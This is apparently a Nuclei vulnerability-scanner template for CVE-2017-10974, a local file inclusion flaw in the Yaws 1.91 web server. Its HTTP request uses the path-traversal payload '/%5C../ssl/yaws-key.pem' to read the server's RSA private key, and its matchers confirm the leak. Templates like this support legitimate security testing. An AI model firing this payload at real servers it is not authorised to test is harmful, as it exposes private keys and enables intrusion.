49 lines
1.6 KiB
YAML
49 lines
1.6 KiB
YAML
id: CVE-2017-10974
|
|
|
|
info:
|
|
name: Yaws 1.91 - Local File Inclusion
|
|
author: 0x_Akoko
|
|
severity: high
|
|
description: Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.
|
|
impact: |
|
|
The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.
|
|
remediation: |
|
|
Upgrade to a patched version of Yaws or apply the necessary security patches.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/42303
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-10974
|
|
- http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
|
|
- https://www.exploit-db.com/exploits/42303/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2017-10974
|
|
cwe-id: CWE-22
|
|
epss-score: 0.96161
|
|
epss-percentile: 0.99386
|
|
cpe: cpe:2.3:a:yaws:yaws:1.91:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: yaws
|
|
product: yaws
|
|
tags: cve,cve2017,edb,yaws,lfi
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/%5C../ssl/yaws-key.pem"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- '!contains(tolower(body), "<html")'
|
|
|
|
- type: word
|
|
words:
|
|
- "BEGIN RSA PRIVATE KEY"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a004830460221008b989be47d8bfb034fa6e5b25782b4e87bcaca65229515bc600614d3f5567490022100dc284020a7a7e674db55449ae184ef1a5af7eb0d105bd3da76a8431c5e1f6f2b:922c64590222798bb761d5b6d8e72950 |